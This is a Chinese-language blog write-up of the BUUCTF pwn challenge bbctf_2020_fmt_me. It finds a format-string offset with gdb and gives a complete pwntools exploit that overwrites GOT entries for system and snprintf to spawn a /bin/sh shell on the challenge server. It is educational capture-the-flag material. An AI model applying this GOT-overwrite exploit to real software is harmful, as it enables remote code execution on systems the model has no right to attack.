BUUCTF-PWN-bbctf_2020_fmt_me

142次阅读
没有评论

共计 904 个字符,预计需要花费 3 分钟才能阅读完成。

提醒:本文最后更新于 2024-08-30 14:56,文中所关联的信息可能已发生改变,请知悉!

checksec

BUUCTF-PWN-bbctf_2020_fmt_me

IDA

BUUCTF-PWN-bbctf_2020_fmt_me

偏移计算

使用 gdb 调试,先对 system 函数下断点,然后如下图输入:

BUUCTF-PWN-bbctf_2020_fmt_me

由于 snprintf 并没有将 buf 中的内容打印到标准输出,而是在 other_buf 中,所以我们需要在 gdb 中查看内存情况:

使用 x/5s 0x4040a0 命令,0x4040a0other_buf 的地址

BUUCTF-PWN-bbctf_2020_fmt_me

得到偏移为 6

EXP

from pwn import *

p = remote('node4.buuoj.cn', 28695)
elf = ELF('./fm')

# context.log_level = 'debug'
context.arch = 'amd64'

fmt1 = fmtstr_payload(6, {elf.got['system']: elf.sym['main']}, write_size='long')
p.sendlineafter('Choice: ', '2')
p.sendlineafter('Good job. I\'ll give you a gift.', fmt1)

fmt2 = b'/bin/sh;'
fmt2 += fmtstr_payload(7, {elf.got['snprintf']: 0x401056-8}, write_size='long')

p.sendlineafter('Choice: ','2')
p.sendlineafter('Good job. I\'ll give you a gift.', fmt2)
p.sendlineafter('Choice: ', '2')
p.sendlineafter('Good job. I\'ll give you a gift.', 'aaaaaaaa')

p.interactive()

结果

BUUCTF-PWN-bbctf_2020_fmt_me

正文完
 0
icvuln
版权声明:本站原创文章,由 icvuln 于2022-02-22发表,共计904字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)